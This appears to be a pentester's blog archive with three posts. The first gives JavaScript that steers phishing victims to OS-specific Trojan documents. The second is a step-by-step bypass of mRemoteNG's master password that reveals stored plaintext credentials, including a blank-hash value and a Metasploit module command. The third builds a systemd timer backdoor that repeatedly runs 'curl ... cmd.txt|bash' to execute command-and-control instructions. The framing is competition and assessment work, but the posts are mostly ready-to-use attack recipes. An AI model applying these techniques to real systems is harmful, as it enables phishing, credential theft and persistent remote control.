Author Archives: mcontino

Just Providing a little Browser Guidance

Posted on by

Browser Guidance

TLDR; JavaScript can be utilized to detect the victims browser and operating system, in order provide a little browser guidance and increase payload success rates.

Problem

In some cases, Trojan payloads and/or ploys don’t play very nicely when opened with newer browsers, during social engineering campaigns. Most noteworthy is the classic HTA payload causing security warnings in google Chrome and Firefox; if advanced security is configured within the browser. It can also be difficult to create a single payload that will work effectively on all possible target operating systems. Additionally, with the increase in smart phone email solutions usage and company departments utilizing Mac OSX, users opening sites on unintended devices can led to an unintended variance in security awareness campaign testing.

Solution

One can simply place some java script, like the following, within the HTML of a ploy page to provide browser guidance, based on the detected end users browser. Below is an example of forwarding all non-IE browsers to an unsupported browser landing page.


// Opera 8.0+
var isOpera = (!!window.opr && !!opr.addons) || !!window.opera || navigator.userAgent.indexOf(' OPR/') >= 0;
// Firefox 1.0+
var isFirefox = typeof InstallTrigger !== 'undefined';
// At least Safari 3+: "[object HTMLElementConstructor]"
var isSafari = Object.prototype.toString.call(window.HTMLElement).indexOf('Constructor') > 0;
// Internet Explorer 6-11
var isIE = /*@cc_on!@*/false || !!document.documentMode;
// Edge 20+
var isEdge = !isIE && !!window.StyleMedia;
// Chrome 1+
var isChrome = !!window.chrome && !!window.chrome.webstore;
// Blink engine detection
var isBlink = (isChrome || isOpera) && !!window.CSS;
    
if((isFirefox==true) || (isSafari==true) || (isChrome==true) || (isBlink==true) || (isOpera==true)){
	document.location = "unsupported.html";
}

Using a similar operating system detection script, one can offer up different payloads based on operating system, parsed from the end user browser agent. Below is an  example of some javascript based operating system detection, being used to deliver different payloads to Windows, Mac, and Linux clients, while weeding out mobile devices.

	
var isWindows = navigator.appVersion.indexOf("Win")>=0;
var isMac = navigator.appVersion.indexOf("Mac")>=0;
var isUnix = navigator.appVersion.indexOf("X11")>=0;
var isLinux = navigator.appVersion.indexOf("Linux")>=0;
var isAndroid = /(android)/i.test(navigator.userAgent);
var isIOS = /(iPhone|iPod|iPad)/i.test(navigator.userAgent);
	 
if((isAndroid==true) || (isIOS==true)){
	document.location = "unsupported.html";
} else if(isWindows==true){
	document.location = "Windows.doc";
} else if(isMac==true){
	document.location = "Mac.doc";
} else if((isUnix==true) || (isLinux==true)){
	document.location = "Nix.doc";
} else {
	document.location = "unsupported.html";

Shout Out

Although these checks seem to have re-posted everywhere making it hard to firm up attribution, my props and thanks go out to the original author(s) and testers of these browser detection and browser guidance strings.

mRemoteNG: Just Loaded with “Features”

Posted on by

TL;DR: mRemoteNG uses insecure methods for password storage and can provide droves of valid credentials during an assessment or competition.

Level Set

mRemoteNG (mremote) is an open source project (https://github.com/rmcardle/mRemoteNG) that provides a full-featured, multi-tab remote connections manager. It currently supports RDP, SSH, Telnet, VNC, ICA, HTTP/S,  rlogin, and raw socket connections. Additionally, It also provides the means to save connection settings such as hostnames, IP addresses, protocol, port, and user credentials, in a password protected and encrypted connections file.

Problem

During a recent pentest, I was struggling to gain additional administrative access to key systems ,even with standard user authentication.  However, during some share pillaging I found a backup of an old mRemote connections file. The connections file houses all the information needed to gain remote access to a given system (IP/Hostname, Protocol, Port, Username, and Password). However, the credentials are encrypted, by default, and the connections file was protected by a master password.

Solution

It turns out, the master password is just used by the program to determine whether or not to load in the selected connections file. The stored credentials are actually encrypted with a static string, not the master password. This creates a scenario wherein the master password hash can simply be replaced with a blank password hash, to bypass the master password prompt. Once the connections file is loaded, the program even has the ability to add additional “External tools”, which allow for access to the programs variables and memory space. This allows for simple echo commands to be added to reveal hidden details about each connection, such as the clear text password.

How to Access The Clear Text Credentials

Method 1: Using the Program itself

To start ensure that mRemoteNG is closed or download the portable version of the application.

mRemoteNG Password Prompt

Second navigate to the default mRemoteNG data folder (C:\Users\\AppData\Roaming\mRemoteNG) or acquire the connections configuration file. Alternatively, enter the  path %appdata%/mRemoteNG into Start/Run, to go directly to the default installation location. Or use the portable version of the application, for any backup files you may have discovered while pillaging.

Third open the connections configuration file (by default called confCons.xml) in your favorite text editor.

mRemoteNG Connections file

Then, on the second line, locate the Protected=”a bunch of numbers/letters” string and replace it with the value below.
Protected=”GiUis20DIbnYzWPcdaQKfjE2H5jh//L5v4RGrJMGNXuIq2CttB/d/BxaBP2LwRhY”
Note: This is just a master password hash of blank, to allow for the connections file to be loaded.

mRemoteNG blank master password hash

Next, just re-open mRemoteNG and load the connections file, by simply submitting a blank password to the master password prompt.

mRemoteNG Connection file loaded via blank hash

To see the clear text of a given password, go to “Tools” > “External Tools”. Then right-click in the white space and choose “New External Tool”. Next, in the External Tools Properties, fill in a “Display Name”, “Filename” and some “arguments”, with “Password lookup”, CMD and “/k echo %password%” respectively.

mRemoteNG external tool

Finally, go to the connection where you would like to reveal the connection and right-click on it and choose “External tools” > “Password lookup”.

mRemoteNG external tool shows password

Method 2: Using an Offline Decoder

A modified version of the Metasploit module Ruby code, can be used to get the clear text passwords from within a protected connections file.

The file can be downloaded from packetstorm (https://packetstormsecurity.com/files/126309/mRemoteOffPwdsDecrypt.rb.txt) and run on Kali systems as such:
ruby mRemoteOffPwdsDecrypt.rb confCons.xml

Method 3: Using the Metasploit Post Module

Once you have a meterpreter shell on an administrators system that has mRemoteNG installed, simply run the post module with the following command and enjoy clear text.
run post/windows/gather/credentials/mremote

Note: mRemoteNG is a platform agnostic program, however the post module only works on Windows and will only parse the default connections file (confCons.xml) and location (%appdata%/mRemoteNG).

As always,
w7nDgMKow73CuCU7XsOkScuGXsKrw51Rwq4=

Establishing Persistence with systemd.timers

Posted on by

With the push to covert all of our old init style processes managers to the new cutting-edge systemd, comes a whole new set of security concerns. In several recent competitions, I was able to establish persistence with systemd.timer units. Timer units are designed to run repetitive tasks on behalf of an existing service. This is normally used to establish service watchers, in case a service were to hang of crash. However, we can take advantage of this build-in core functionality to establish near-kernel level persistence with systemd.timers. As an added bonus, it’s a bit more difficult to find then a crontab and there are several tools that can convert existing crontabs to systemd.timers.

In order to take advantage of persistence with systemd.timers, we just need write access to the /etc/systemd/system/ or /usr/lib/systemd/system/ directory. With a user with write access, normally only root, we can create a service unit file and a timer unit file. Once the files are created, we can register the timer unit with systemd and it will execute our service unit, per our timer unit schedule. Timer units can even be registered with systemd to be started at boot automatically, to maintain persistence through reboots.

Example persistence with systemd.timers

To establish persistence with systemd.timers, we first need to create a service unit. In this case I created a file called /etc/systemd/system/backdoor.service, which would connect to a web server and execute a the given command.

[Unit]
Description=Backdoor

[Service]
Type=simple
ExecStart=curl --insecure https://127.0.0.1/cmd.txt|bash

Next I created a timer unit that launches my backdoor.service every 3 mins, to execute my latest CnC commands. The following is the contents of the file, /etc/systemd/system/backdoor.timer, which I used throughout the CCDC competitions.

[Unit]
Description=Runs backdoor ever 3 mins

[Timer]
OnBootSec=5min
OnUnitActiveSec=3min
Unit=backdoor.service

[Install]
WantedBy=multi-user.target

Once those two files are created within one of the systemd unit directories, we can simple establish the persistence with systemd.timer, by starting the unit timer.

systemctl start backdoor.timer

Then to ensure the timer is automatically started a boot, tell systemd to enable the timer unit at startup.

systemctl enable backdoor.timer

As far as I can tell from my research, there isn’t any easy way to detect these types of backdoors. However, in the CCDC competition space, I highly recommend running a command like the following in a screen to identify changes to timer units.

watch -d systemctl list-timers

Example persistence with Single Service Unit

The alterative is to have a single service unit that takes advantage of an exit code of 0; to continuously restart. Bellow is an example of such a service unit file, that will just restart every 3 mins and also execute our CnC command.

[Service]
Type=simple
ExecStart=curl --insecure https://127.0.0.1/cmd.txt|bash; exit 0
Restart=always
RestartSec=180

For more detailed information see the full documentation at: https://www.freedesktop.org/software/systemd/man/ or through your local man pages.